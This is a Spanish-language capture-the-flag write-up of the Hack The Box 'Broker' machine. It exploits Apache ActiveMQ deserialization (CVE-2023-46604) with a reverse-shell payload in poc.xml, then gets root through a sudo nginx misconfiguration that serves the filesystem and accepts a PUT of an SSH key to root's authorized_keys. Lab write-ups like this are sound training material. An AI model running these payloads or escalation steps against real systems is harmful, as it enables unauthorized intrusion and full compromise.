• Broker is an easy difficulty Linux machine hosting a version of Apache ActiveMQ. Enumerating the version of Apache ActiveMQ shows that it is vulnerable to Unauthenticated Remote Code Execution, which is leveraged to gain user access on the target. Post-exploitation enumeration reveals that the system has a sudo misconfiguration allowing the activemq user to execute sudo /usr/sbin/nginx, which is similar to the recent Zimbra disclosure and is leveraged to gain root access.

PortScan

sudo nmap -sCV -p22,80,1883,5672,8161,37891,61613,61614,61616 10.10.11.243 -oN targeted
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-24 18:55 CST
Nmap scan report for 10.10.11.243
Host is up (0.18s latency).

Bug in mqtt-subscribe: no string output.
PORT      STATE SERVICE    VERSION
22/tcp    open  ssh        OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_  256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp    open  http       nginx 1.18.0 (Ubuntu)
| http-auth: 
| HTTP/1.1 401 Unauthorized\x0D
|_  basic realm=ActiveMQRealm
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Error 401 Unauthorized
1883/tcp  open  mqtt
5672/tcp  open  amqp?
| fingerprint-strings: 
|   DNSStatusRequestTCP, DNSVersionBindReqTCP, GetRequest, HTTPOptions, RPCCheck, RTSPRequest, SSLSessionReq, TerminalServerCookie: 
|     AMQP
|     AMQP
|     amqp:decode-error
|_    7Connection from client using unsupported AMQP attempted
|_amqp-info: ERROR: AQMP:handshake expected header (1) frame, but was 65
8161/tcp  open  http       Jetty 9.4.39.v20210325
|_http-title: Error 401 Unauthorized
|_http-server-header: Jetty(9.4.39.v20210325)
| http-auth: 
| HTTP/1.1 401 Unauthorized\x0D
|_  basic realm=ActiveMQRealm
37891/tcp open  tcpwrapped
61613/tcp open  stomp      Apache ActiveMQ
| fingerprint-strings: 
|   HELP4STOMP: 
|     ERROR
|     content-type:text/plain
|     message:Unknown STOMP action: HELP
|     org.apache.activemq.transport.stomp.ProtocolException: Unknown STOMP action: HELP
|     org.apache.activemq.transport.stomp.ProtocolConverter.onStompCommand(ProtocolConverter.java:258)
|     org.apache.activemq.transport.stomp.StompTransportFilter.onCommand(StompTransportFilter.java:85)
|     org.apache.activemq.transport.TransportSupport.doConsume(TransportSupport.java:83)
|     org.apache.activemq.transport.tcp.TcpTransport.doRun(TcpTransport.java:233)
|     org.apache.activemq.transport.tcp.TcpTransport.run(TcpTransport.java:215)
|_    java.lang.Thread.run(Thread.java:750)
61614/tcp open  http       Jetty 9.4.39.v20210325
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Jetty(9.4.39.v20210325)
|_http-title: Site doesn't have a title.
61616/tcp open  apachemq   ActiveMQ OpenWire transport
| fingerprint-strings: 
|   NULL: 
|     ActiveMQ
|     TcpNoDelayEnabled
|     SizePrefixDisabled
|     CacheSize
|     ProviderName 
|     ActiveMQ
|     StackTraceEnabled
|     PlatformDetails 
|     Java
|     CacheEnabled
|     TightEncodingEnabled
|     MaxFrameSize
|     MaxInactivityDuration
|     MaxInactivityDurationInitalDelay
|     ProviderVersion 
|_    5.15.15

 Deserialization Attack (CVE-2023-46604)

  • Tenemos varios puertos abiertos los cuales corren el servicio http en la máquina vamos a enumerar primero el 80.

  • Nos pide credenciales.

  • Si probamos con admin:admin vemos que funcionan.

  • Aquí nos dan la versión.

❯ git clone https://github.com/evkl1d/CVE-2023-46604
Cloning into 'CVE-2023-46604'...
remote: Enumerating objects: 22, done.
remote: Counting objects: 100% (22/22), done.
remote: Compressing objects: 100% (17/17), done.
remote: Total 22 (delta 5), reused 13 (delta 3), pack-reused 0 (from 0)
Receiving objects: 100% (22/22), 5.10 KiB | 746.00 KiB/s, done.
Resolving deltas: 100% (5/5), done.cd CVE-2023-46604
  • Vamos a editar el xml que envié el exploit para obtener la reverse shell.
cat poc.xml
<?xml version="1.0" encoding="UTF-8" ?>
    <beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="
     http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
        <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
            <constructor-arg>
            <list>
                <value>bash</value>
                <value>-c</value>
                <value>bash -i &gt;&amp; /dev/tcp/10.10.14.3/443 0&gt;&amp;1</value>
            </list>
            </constructor-arg>
        </bean>
    </beans>
  • El script de Python3 nos automatiza el envió del xml en ActiveMQ que usa un entorno Spring y explota una vulnerabilidad de deserialización.

  • Vamos a ponernos en escucha.

❯ nc -nlvp 443
listening on [any] 443 ...
  • Iniciamos nuestro servidor en Python3.
sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...
  • Ejecutamos el script.
❯ python3 exploit.py -i 10.10.11.243 -u http://10.10.14.3/poc.xml
     _        _   _           __  __  ___        ____   ____ _____ 
    / \   ___| |_(_)_   _____|  \/  |/ _ \      |  _ \ / ___| ____|
   / _ \ / __| __| \ \ / / _ \ |\/| | | | |_____| |_) | |   |  _|  
  / ___ \ (__| |_| |\ V /  __/ |  | | |_| |_____|  _ <| |___| |___ 
 /_/   \_\___|\__|_| \_/ \___|_|  |_|\__\_\     |_| \_\\____|_____|

[*] Target: 10.10.11.243:61616
[*] XML URL: http://10.10.14.3/poc.xml

[*] Sending packet: 0000006c1f000000000000000000010100426f72672e737072696e676672616d65776f726b2e636f6e746578742e737570706f72742e436c61737350617468586d6c4170706c69636174696f6e436f6e74657874010019687474703a2f2f31302e31302e31342e332f706f632e786d6c
  • Llegan las peticiones.
sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.11.243 - - [27/Oct/2024 11:40:55] "GET /poc.xml HTTP/1.1" 200 -
10.10.11.243 - - [27/Oct/2024 11:40:56] "GET /poc.xml HTTP/1.1" 200 -
  • Nos llega la shell.
activemq@broker:/opt/apache-activemq-5.15.15/bin$ script /dev/null -c bash
script /dev/null -c bash
Script started, output log file is '/dev/null'.
activemq@broker:/opt/apache-activemq-5.15.15/bin$ ^Z
zsh: suspended  nc -nlvp 443
                                                                                                
❯ stty raw -echo;fg
[1]  + continued  nc -nlvp 443
                              reset xterm
<ENTER>
activemq@broker:/opt/apache-activemq-5.15.15/bin$ export TERM=xterm

User flag

  • Vemos la flag.
activemq@broker:~$ cat user.txt 
54339dbd39d73ad7935a3666c77837c1
activemq@broker:~$ 

Privilege Escalation

activemq@broker:~$ sudo nginx -h
nginx version: nginx/1.18.0 (Ubuntu)
Usage: nginx [-?hvVtTq] [-s signal] [-c filename] [-p prefix] [-g directives]

Options:
  -?,-h         : this help
  -v            : show version and exit
  -V            : show version and configure options then exit
  -t            : test configuration and exit
  -T            : test configuration, dump it and exit
  -q            : suppress non-error messages during configuration testing
  -s signal     : send signal to a master process: stop, quit, reopen, reload
  -p prefix     : set prefix path (default: /usr/share/nginx/)
  -c filename   : set configuration file (default: /etc/nginx/nginx.conf)
  -g directives : set global directives out of configuration file

activemq@broker:~$ 
  • Vamos a crear el .conf.
activemq@broker:/tmp$ cp /etc/nginx/nginx.conf /tmp
activemq@broker:/tmp$ cd /tmp
  • Editamos el .conf para poder tener privilegios de directory listing y crear el servicio para poder ver todo desde el directorio / de root.
activemq@broker:/tmp$ cat nginx.conf 
user root;

events {
	worker_connections 768;
	# multi_accept on;
}

http {
	server {
		listen     1234;
		root /;
		autoindex on;
	}
}
activemq@broker:/tmp$ 
  • Ahora lo ejecutamos.
activemq@broker:/tmp$ sudo nginx -c /tmp/nginx.conf 
  • Lo vemos.

  • Ya podemos ver la flag de root.

  • Algo que podemos hacer para conectarnos por ssh podemos poner el método PUT para subir la id_rsa ya que el usuario root cuenta con el directorio .ssh solamente tenemos que cambiar el puerto.
activemq@broker:/tmp$ cat nginx.conf 
user root;

events {
	worker_connections 768;
	# multi_accept on;
}

http {
	server {
		listen     1237;
		root /;
		autoindex on;
		dav_methods PUT;
	}
}
activemq@broker:/tmp$ sudo nginx -c /tmp/nginx.conf
activemq@broker:/tmp$ 
  • Creamos las claves.
❯ ssh-keygen
Generating public/private ed25519 key pair.
Enter file in which to save the key (/home/miguelrega7/.ssh/id_ed25519): 
/home/miguelrega7/.ssh/id_ed25519 already exists.
Overwrite (y/n)? 
  • Ahora la subimos.
activemq@broker:/tmp$ curl -s -X PUT http://10.10.11.243:1237/root/.ssh/authorized_keys -d 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPVJvICHwt32MJceMIYuxo4dMlOYxtQsUOAmQl2mMqhj miguelrega7@miguelito'
  • Ahora nos podemos conectar con SSH.
❯ ssh root@10.10.11.243
Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 5.15.0-88-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Sun Oct 27 06:36:46 PM UTC 2024

  System load:           0.0
  Usage of /:            70.8% of 4.63GB
  Memory usage:          10%
  Swap usage:            0%
  Processes:             161
  Users logged in:       0
  IPv4 address for eth0: 10.10.11.243
  IPv6 address for eth0: dead:beef::250:56ff:fe94:afc9

 * Strictly confined Kubernetes makes edge and IoT secure. Learn how MicroK8s
   just raised the bar for easy, resilient and secure K8s cluster deployment.

   https://ubuntu.com/engage/secure-kubernetes-at-the-edge

Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status


The list of available updates is more than a week old.
To check for new updates run: sudo apt update

root@broker:~# whoami
root
root@broker:~#